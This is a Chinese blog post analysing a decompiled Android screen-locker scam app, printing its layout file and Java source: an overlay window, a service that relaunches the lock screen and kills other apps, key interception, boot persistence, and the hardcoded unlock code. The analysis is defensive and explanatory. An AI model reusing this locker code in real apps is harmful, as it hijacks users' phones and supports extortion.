您的位置:首页 > 编程语言

安卓恶意应用代码分析

2014-09-04 23:46 1516 查看
最近在找畅无线的破解版,结果从贴吧找到了一个恶意应用。

点击屏幕任何地方都没反应,上面一堆恐吓性文字,没法退出,重启之后手机恢复正常了,然后果断把它卸载了。

下面我们来分析分析。

首先看看用APKTOOLS反编译出来的布局文件

1.main.xml

<?xml version="1.0" encoding="utf-8"?>
<RelativeLayout android:layout_width="fill_parent" android:layout_height="fill_parent"
xmlns:android="http://schemas.android.com/apk/res/android">
<LinearLayout android:gravity="center" android:orientation="vertical" android:background="#ff303444" android:layout_width="fill_parent" android:layout_height="fill_parent" android:layout_centerHorizontal="true">
<TextView android:textAppearance="?android:textAppearanceSmall" android:layout_width="wrap_content" android:layout_height="wrap_content" android:text="你的手机已被锁!By 小黑" />
<Button android:id="@id/bn_bf" android:background="@drawable/mybutton" android:layout_width="fill_parent" android:layout_height="wrap_content" android:layout_marginLeft="10.0dip" android:layout_marginRight="10.0dip" android:text="解锁加QQ:2082 549 931" />
<TextView android:gravity="center" android:background="@drawable/sp" android:layout_width="fill_parent" android:layout_height="wrap_content" android:layout_marginLeft="10.0dip" android:layout_marginTop="10.0dip" android:layout_marginRight="10.0dip" android:layout_marginBottom="10.0dip" android:text="24小时内未解锁将格式化!" />
<Button android:id="@id/bn_hy" android:background="@drawable/mybutton" android:layout_width="fill_parent" android:layout_height="wrap_content" android:layout_marginLeft="10.0dip" android:layout_marginRight="10.0dip" android:text="所有数据将删除无法恢复!" />
<TextView android:background="@drawable/sp" android:layout_width="fill_parent" android:layout_height="wrap_content" android:layout_marginLeft="10.0dip" android:layout_marginTop="10.0dip" android:layout_marginRight="10.0dip" android:text="解锁加QQ:2082 549 931" />
<TextView android:textAppearance="?android:textAppearanceMedium" android:id="@id/mainTextViewTime" android:layout_width="wrap_content" android:layout_height="wrap_content" android:layout_marginTop="15.0dip" android:text="你的手机已被锁!By 小黑" />
</LinearLayout>
<TextView android:textAppearance="?android:textAppearanceSmall" android:layout_width="wrap_content" android:layout_height="wrap_content" android:layout_marginBottom="24.0dip" android:text="Power by 小黑@2014" android:layout_alignParentBottom="true" android:layout_centerHorizontal="true" />
</RelativeLayout>
布局是一个相对布局里面嵌入了一个线性布局,然后里面放了6个控件,依次是TexTView、Button、TextView、Button、TextView、TextView



2.java代码分析
1.MainActivity.java

package tk.jianmo.study;

import LogCatBroadcaster;
import android.app.Activity;
import android.app.AlertDialog.Builder;
import android.app.Dialog;
import android.app.DialogFragment;
import android.content.Context;
import android.content.DialogInterface;
import android.content.DialogInterface.OnClickListener;
import android.content.Intent;
import android.content.SharedPreferences;
import android.content.SharedPreferences.Editor;
import android.os.Bundle;
import android.os.SystemClock;
import android.text.Editable;
import android.view.KeyEvent;
import android.view.Window;
import android.widget.EditText;
import android.widget.TextView;
import android.widget.Toast;
import java.util.Timer;
import java.util.TimerTask;

public class MainActivity
extends Activity
{
Context context;
@Override
Intent intent;
int keyTouthInt = 0;
long newTime = 0;
SharedPreferences sp;
int theBeginTimeToFinish = 86400;
Timer timer;
TimerTask timertask;
int timetofinish = this.theBeginTimeToFinish;
TextView tv_time;
long usedTime = 0;

public void keytouch(long paramLong, int paramInt1, int paramInt2)
{
this.newTime = System.currentTimeMillis();
if ((this.newTime - paramLong <= 2000) && (paramInt1 == paramInt2))
{
this.usedTime = this.newTime;
this.keyTouthInt = (paramInt1 + 1);
return;
}
this.keyTouthInt = 0;
}

public void onAttachedToWindow()
{
getWindow().setType(2004);
super.onAttachedToWindow();
}

public void onCreate(Bundle paramBundle)
{
LogCatBroadcaster.start(this);
super.onCreate(paramBundle);
requestWindowFeature(1);
getWindow().setFlags(-2147483648, -2147483648);
setContentView(2130903040);
this.context = this;
this.tv_time = ((TextView)super.findViewById(2131034114));
Intent localIntent1 = new Intent();
this.intent = localIntent1;
Intent localIntent2 = this.intent;
try
{
Class localClass = Class.forName("tk.jianmo.study.killpoccessserve");
localIntent2.setClass(this, localClass);
startService(this.intent);
this.sp = getSharedPreferences("TimeSave", 0);
this.timetofinish = this.sp.getInt("saveTime", this.timetofinish);
if (this.timetofinish <= 1) {
this.timetofinish = this.theBeginTimeToFinish;
}
Timer localTimer = new Timer();
this.timer = localTimer;
TimerTask local100000001 = new TimerTask()
{
@Override
public void run()
{
MainActivity localMainActivity = MainActivity.this;
Runnable local100000000 = new Runnable()
{
@Override
public void run()
{
int i = MainActivity.this.timetofinish / 3600;
int j = MainActivity.this.timetofinish % 3600 / 60;
int k = MainActivity.this.timetofinish % 60;
TextView localTextView = MainActivity.this.tv_time;
StringBuffer localStringBuffer1 = new StringBuffer();
StringBuffer localStringBuffer2 = new StringBuffer();
StringBuffer localStringBuffer3 = new StringBuffer();
StringBuffer localStringBuffer4 = new StringBuffer();
StringBuffer localStringBuffer5 = new StringBuffer();
localTextView.setText(localStringBuffer2.append(localStringBuffer3.append(localStringBuffer4.append

(localStringBuffer5.append(i).append("9999").toString()).append(j).toString()).append("999").toString()).append

(k).toString() + "加QQ解锁2082549931");
MainActivity.this.sp.edit().putInt("saveTime", MainActivity.this.timetofinish).commit();
if (MainActivity.this.timetofinish == 0)
{
MainActivity.this.stopService(MainActivity.this.intent);
System.exit(0);
}
MainActivity localMainActivity = MainActivity.this;
localMainActivity.timetofinish = (-1 + localMainActivity.timetofinish);
}
};
localMainActivity.runOnUiThread(local100000000);
}
};
this.timertask = local100000001;
this.timer.schedule(this.timertask, 0, 1000);
return;
}
catch (ClassNotFoundException localClassNotFoundException)
{
NoClassDefFoundError localNoClassDefFoundError = new NoClassDefFoundError(localClassNotFoundException.getMessage());
throw localNoClassDefFoundError;
}
}

@Override
public boolean onKeyDown(int paramInt, KeyEvent paramKeyEvent)
{
if (paramInt == 4)
{
if (this.keyTouthInt != 0) {
break label153;
}
this.usedTime = SystemClock.currentThreadTimeMillis();
this.keyTouthInt = 1;
this.usedTime = System.currentTimeMillis();
}
for (;;)
{
if (paramInt == 3)
{
keytouch(this.usedTime, this.keyTouthInt, 5);
if (this.keyTouthInt == 6)
{
MyDialogFragment localMyDialogFragment = new MyDialogFragment();
localMyDialogFragment.show(getFragmentManager(), "mydialog");
}
}
if (paramInt == 82) {
keytouch(this.usedTime, this.keyTouthInt, 100);
}
if (paramInt == 25) {
keytouch(this.usedTime, this.keyTouthInt, 2);
}
if (paramInt == 24) {
keytouch(this.usedTime, this.keyTouthInt, 3);
}
if (paramInt == 26) {
Toast.makeText(this, "电源控制成功!", 0).show();
}
return true;
label153:
if (this.keyTouthInt == 1) {
keytouch(this.usedTime, this.keyTouthInt, 1);
} else {
keytouch(this.usedTime, this.keyTouthInt, 4);
}
}
}

class MyDialogFragment
extends DialogFragment
{
public MyDialogFragment() {}

@Override
public Dialog onCreateDialog(Bundle paramBundle)
{
AlertDialog.Builder localBuilder = new AlertDialog.Builder(getActivity());
EditText localEditText = new EditText(MainActivity.this.context);
localEditText.setHint("please input the cipher!");
localBuilder.setView(localEditText);
localBuilder.setTitle("Choose");
localBuilder.setMessage("I will clear all of your data!");
DialogInterface.OnClickListener local100000002 = new DialogInterface.OnClickListener()
{
private final EditText val$edit;

@Override
public void onClick(DialogInterface paramAnonymousDialogInterface, int paramAnonymousInt)
{
if (this.val$edit.getText().toString().equals("2082549931"))
{
MainActivity.this.stopService(MainActivity.this.intent);
System.exit(0);
}
}
};
localBuilder.setPositiveButton("Yes", local100000002);
DialogInterface.OnClickListener local100000003 = new DialogInterface.OnClickListener()
{
@Override
public void onClick(DialogInterface paramAnonymousDialogInterface, int paramAnonymousInt) {}
};
localBuilder.setNegativeButton("No", local100000003);
return localBuilder.create();
}
}
}
根据Activity的生命周期,我们先看看onCreate方法
第一句LogCatBroadcaster.start(this);这里启动了一个线程
下面是代码
import android.content.Context;
import android.content.Intent;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;

public class LogCatBroadcaster
implements Runnable
{
private static boolean started = false;
private Context context;

private LogCatBroadcaster(Context paramContext)
{
this.context = paramContext;
}

/* Error */
public static void start(Context paramContext)
{
// Byte code:
//   0: ldc 2
//   2: monitorenter
//   3: getstatic 14	LogCatBroadcaster:started	Z
//   6: istore_2
//   7: iload_2
//   8: ifeq +7 -> 15
//   11: ldc 2
//   13: monitorexit
//   14: return
//   15: iconst_1
//   16: putstatic 14	LogCatBroadcaster:started	Z
//   19: getstatic 29	android/os/Build$VERSION:SDK_INT	I
//   22: bipush 16
//   24: if_icmpge +6 -> 30
//   27: goto -16 -> 11
//   30: aload_0
//   31: invokevirtual 35	android/content/Context:getApplicationInfo	()Landroid/content/pm/ApplicationInfo;
//   34: getfield 40	android/content/pm/ApplicationInfo:flags	I
//   37: istore_3
//   38: iload_3
//   39: iconst_2
//   40: iand
//   41: ifeq +14 -> 55
//   44: iconst_1
//   45: istore 4
//   47: iload 4
//   49: ifne +12 -> 61
//   52: goto -41 -> 11
//   55: iconst_0
//   56: istore 4
//   58: goto -11 -> 47
//   61: aload_0
//   62: invokevirtual 44	android/content/Context:getPackageManager	()Landroid/content/pm/PackageManager;
//   65: ldc 46
//   67: sipush 128
//   70: invokevirtual 52	android/content/pm/PackageManager:getPackageInfo	(Ljava/lang/String;I)Landroid/content/pm/PackageInfo;
//   73: pop
//   74: new 2	LogCatBroadcaster
//   77: dup
//   78: aload_0
//   79: invokespecial 54	LogCatBroadcaster:<init>	(Landroid/content/Context;)V
//   82: astore 7
//   84: new 56	java/lang/Thread
//   87: dup
//   88: aload 7
//   90: invokespecial 59	java/lang/Thread:<init>	(Ljava/lang/Runnable;)V
//   93: astore 8
//   95: aload 8
//   97: invokevirtual 61	java/lang/Thread:start	()V
//   100: goto -89 -> 11
//   103: astore 5
//   105: goto -94 -> 11
//   108: astore_1
//   109: ldc 2
//   111: monitorexit
//   112: aload_1
//   113: athrow
// Local variable table:
//   start	length	slot	name	signature
//   0	114	0	paramContext	Context
//   108	5	1	localObject	Object
//   6	2	2	bool	boolean
//   37	4	3	i	int
//   45	12	4	j	int
//   103	1	5	localNameNotFoundException	android.content.pm.PackageManager.NameNotFoundException
//   82	7	7	localLogCatBroadcaster	LogCatBroadcaster
//   93	3	8	localThread	java.lang.Thread
// Exception table:
//   from	to	target	type
//   61	74	103	android/content/pm/PackageManager$NameNotFoundException
//   3	7	108	finally
//   15	27	108	finally
//   30	38	108	finally
//   61	74	108	finally
//   74	100	108	finally
}

public void run()
{
try
{
Process localProcess = Runtime.getRuntime().exec("logcat -v threadtime");
InputStreamReader localInputStreamReader = new InputStreamReader(localProcess.getInputStream());
BufferedReader localBufferedReader = new BufferedReader(localInputStreamReader, 20);
for (;;)
{
String str = localBufferedReader.readLine();
if (str == null) {
break;
}
Intent localIntent = new Intent();
localIntent.setPackage("com.aide.ui");
localIntent.setAction("com.aide.runtime.VIEW_LOGCAT_ENTRY");
localIntent.putExtra("lines", new String[] { str });
this.context.sendBroadcast(localIntent);
}
return;
}
catch (IOException localIOException) {}
}
}
我们分析一下里面的run方法,首先调用系统命令得到logcat日志,亲们想看结果的可以再命令行下输入 adb logcat -v threadtime
我们通过这个进程Process再通过getInputStream()方法拿到输入流。
在拿到这个输入流之后,用一个BufferedReader对象每次读20个字节的字符
然后读取BufferedReader里面的首行数据(字符串)
接着把这个字符串通过广播发送出去,当然,里面指定了包名和动作。

好了,这段代码分析完了,我们再次回到onCreate方法。
接下来设置窗口特点1为系统默认
setFlag应该是全屏,这个貌似在反编译的时候出了点问题。
然后设置是布局,在R文件看到对应的值就是刚才的main.xml

接着通过id照片到名为mainTextViewTime的TextView控件
接着新建一个意图,用来更新时间

接下来的这个try-catch代码块中,收益按用类加载器加载了一个名为tk.jianmo.study.killpoccessserve的类,
接下来我们来看看这个类干嘛的。
killpoccessserve.java

package tk.jianmo.study;

import android.app.ActivityManager;
import android.app.ActivityManager.RunningTaskInfo;
import android.app.Service;
import android.content.ComponentName;
import android.content.Context;
import android.content.Intent;
import android.os.Handler;
import android.os.Handler.Callback;
import android.os.IBinder;
import android.os.Message;
import java.util.List;
import java.util.Timer;
import java.util.TimerTask;

public class killpoccessserve
extends Service
{
Context context;

@Override
public IBinder onBind(Intent paramIntent)
{
return null;
}

@Override
public void onCreate()
{
this.context = this;
Handler.Callback local100000000 = new Handler.Callback()
{
public boolean handleMessage(Message paramAnonymousMessage)
{
ActivityManager localActivityManager = (ActivityManager)killpoccessserve.this.context.getSystemService("activity");
String str = ((ActivityManager.RunningTaskInfo)localActivityManager.getRunningTasks(1).get(0)).topActivity.getPackageName();
if (str.equals("tk.jianmo.study")) {}
for (;;)
{
return false;
Intent localIntent = new Intent();
Context localContext = killpoccessserve.this.context;
try
{
Class localClass = Class.forName("tk.jianmo.study.MainActivity");
localIntent.setClass(localContext, localClass);
localIntent.setFlags(67108864);
localIntent.addFlags(268435456);
killpoccessserve.this.startActivity(localIntent);
localActivityManager.killBackgroundProcesses(str);
}
catch (ClassNotFoundException localClassNotFoundException)
{
NoClassDefFoundError localNoClassDefFoundError = new NoClassDefFoundError(localClassNotFoundException.getMessage());
throw localNoClassDefFoundError;
}
}
}
};
Handler localHandler = new Handler(local100000000);
Timer localTimer = new Timer();
TimerTask local100000001 = new TimerTask()
{
private final Handler val$h;

@Override
public void run()
{
this.val$h.obtainMessage().sendToTarget();
}
};
localTimer.schedule(local100000001, 0, '–');
}

@Override
public void onDestroy()
{
super.onDestroy();
}

@Override
public void onStart(Intent paramIntent, int paramInt)
{
super.onStart(paramIntent, paramInt);
}
}


这个类从名字上看是关闭进程的一个服务,继承了android.app.Service,

服务(Service)是Android系统中4个应用程序组件之一。服务主要用于两个目的:后台运行和跨进程访问。
Handler主要用来在线程中和Activity或Service通信的机制。在需要接收消息的Activity或Service中需要实现Handler.Callback接口
这里直接实现了。
getSystemService("activity");这里里面的参数貌似应该是ACTIVITY_SERVICE,可能是反编译成这样了,一会查一下API,这句话得到管理应用程序的系统状态对象
str字符串获得前台运行的Activity的包名
当然接下来自然就判断这个包名是不是它自己啦
for循环里就是不断启动自己的Activity,并且销毁后台进程,为了在task里启动,使用了setFlags和addFlags函数。
然后是周期性发送消息的代码,发送消息的时候不创建新的对象。

继续回到我们的onCreate方法。
然后代码里做了,开启服务,开启定时器,显示剩余时间的操作

然后Activity其他几方法是为了让点击屏幕不起作用的,
里面有个解锁这个界面的方法,就是输入一个号码this.val$edit.getText().toString().equals("2082549931"),这个号码估计大家看到这句话机看出来了吧

这个应用还有一个开机自启的代码
BootBroadcastReceiver.java

package tk.jianmo.study;

import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;

public class BootBroadcastReceiver
extends BroadcastReceiver
{
String action_boot = "android.intent.action.BOOT_COMPLETED";

@Override
public void onReceive(Context paramContext, Intent paramIntent)
{
try
{
Class localClass = Class.forName("tk.jianmo.study.MainActivity");
Intent localIntent = new Intent(paramContext, localClass);
localIntent.addFlags(268435456);
paramContext.startActivity(localIntent);
return;
}
catch (ClassNotFoundException localClassNotFoundException)
{
NoClassDefFoundError localNoClassDefFoundError = new NoClassDefFoundError(localClassNotFoundException.getMessage());
throw localNoClassDefFoundError;
}
}
}


个人对这个应用评价一下吧
这个应用欺骗小白用户还是很有效的,实际上里面的格式化是吓唬人的,但是对开发者而言,反编译一下就出来了。作者也没做代码混淆。
自启动这个真心不靠谱,自启动也是有顺序的,而且还要等SD卡识别完,这完全可以在识别SD卡的时候直接把它干掉。
作者开发这个应用如果拿来做某些事,可能会有法律风险
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: